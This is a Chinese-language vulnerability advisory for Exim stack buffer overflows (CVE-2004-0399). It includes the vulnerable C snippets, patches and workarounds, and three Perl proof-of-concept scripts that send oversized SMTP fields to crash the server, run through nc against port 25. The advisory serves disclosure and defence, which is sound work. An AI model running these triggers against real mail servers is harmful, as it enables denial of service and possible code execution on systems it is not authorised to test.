安全研究
安全漏洞
Exim require_verify缓冲区溢出漏洞
发布日期:2004-05-06
更新日期:2004-05-08
受影响系统:
Exim Exim 3.35描述:
CVE(CAN) ID: CVE-2004-0399
Exim是一款流行的EMAIL服务器(MTA)。
Exim 3.35存在栈缓冲区溢出漏洞,当 sender_verify 选项为true时,远程攻击者会在发送者验证过程中造成拒绝服务,也可能执行任意代码。
<*来源:vendor
链接:http://xforce.iss.net/xforce/xfdb/16079
http://www.guninski.com/exim1.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
in exim 3.35 in verify.c there are two occurences of:
---
sprintf(buffer, "%s:%.200s", sender_address,
---
where buffer is on the stack.
This is classic stack overflow.
This bug works if works if "sender_verify = true" is in exim.conf
To test for vulnerability:
./exi1.pl | nc localhost 25
then press enter.
bug2:
in accept.c for exim 3.35 and in verify.c for exim 4.32 there is:
---
char hname[64];
char *t = h->text;
char *tt = hname;
char *verb = "is";
int len;
while (*t != ':') *tt++ = *t++;
*tt = 0;
---
this code is hit if "headers_check_syntax" is in exim.conf for 3.35 and
"require verify = header_syntax" is in the .conf for 4.32
the difficulty of exploiting this is that "t" can have limited content,
but can have arbitrary length.
To test for vulnerability for 3.35:
./exi2.pl | nc localhost 25
then press enter.
To test for vulnerability for 4.32:
./exi3.pl localhost 25
Fix:
Unofficial fix from me, but debian seems to agree with it.
for exim 3.35
for bug1:
in verify.c
find the following:
sprintf(buffer, "%s:%.200s", sender_address,
(sender_host_name != NULL)? sender_host_name :
(sender_host_address != NULL)? sender_host_address : "");
and
sprintf(buffer, "%s:%.200s", sender_address,
(sender_host_name != NULL)? sender_host_name :
(sender_host_address != NULL)? sender_host_address : "");
in both above cases replace "sprintf(buffer," with:
"snprintf(buffer, sizeof(buffer),"
for bug2:
in accept.c find:
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;
for exim 4.32
for bug2:
in verify.c find
while (*t != ':') *tt++ = *t++;
and replace it with:
while (*t != ':' && tt < &hname[sizeof(hname)-2]) *tt++ = *t++;
Note: you need to change some addresses in the perls below.
----exi1.pl----------------------------------
#!/usr/bin/perl
# works if sender_verify = true is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases or CVE
print "HELO a\r\n";
my $ch=getc();
print "MAIL FROM: " . "v" x 300 ."\@vt" . "\r\n";
print "RCPT TO: BillGay\@localhost\r\n";
print "DATA\r\n";
#print "From" . " " x 65 . ":" . "ff fff ff" ."\r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------
----exi2.pl----------------------------------
#!/usr/bin/perl
# works if headers_check_syntax is in exim.conf
# written by georgi guninski
# cannot be used in vulnerability databases
print "HELO a\r\nMAIL FROM: BillGay\@localhost\r\nRCPT TO: SteveNoBall\@localhost\r\n";
print "DATA\r\n";
my $ch=getc();
print "From" . " " x 275 . ":" ."vv v \r\n";
print "asdasd\r\n";
print "\r\n";
print ".\r\n";
print "QUIT\r\n";
---------------------------------------------
----exi3.pl----------------------------------
#!/usr/bin/perl
use IO::Socket;
my $port = $ARGV[1];
my $host = $ARGV[0];
# written by georgi guninski
# cannot be used in vulnerability databases
print "Written by georgi guninski\nCannot be used in vulnerability databases or CVE\n";
my $repl;
my $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || die "socket";
$repl= <$socket>;
print "server replied ${repl}";
my $req = "HELO a\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
my $fromaddr="BillGay\@soft";
my $touser="SteveNoBall\@soft";
$req = "MAIL FROM: ${fromaddr}\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
$req = "RCPT TO: ${touser}\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
$req = "DATA\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
print "Attached with debugger to exim and press enter\n";
my $ccc=getc();
$req = "From" . " " x 200 . ":" ." root\r\n";
$req .= "just to let you know that you sux\r\n";
$req .= ".\r\n";
syswrite($socket,$req,length($req));
$repl= <$socket>;
print "server replied ${repl}";
while(<$socket>)
{
print $_;
}
close $socket;
---------------------------------------------
Workaround:
for exim 3.35
make sure you don't have the following options in exim.conf:
---
sender_verify = true
headers_check_syntax
---
for exim 4.32
make sure you don't have the following option in the config file:
require verify = header_syntax
Vendor status:
exim.org and debian are aware of the bugs
Georgi Guninski
http://www.guninski.com
建议:
厂商补丁:
Exim
----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.exim.org/
浏览次数:1930
严重程度:0(网友投票)
绿盟科技给您安全的保障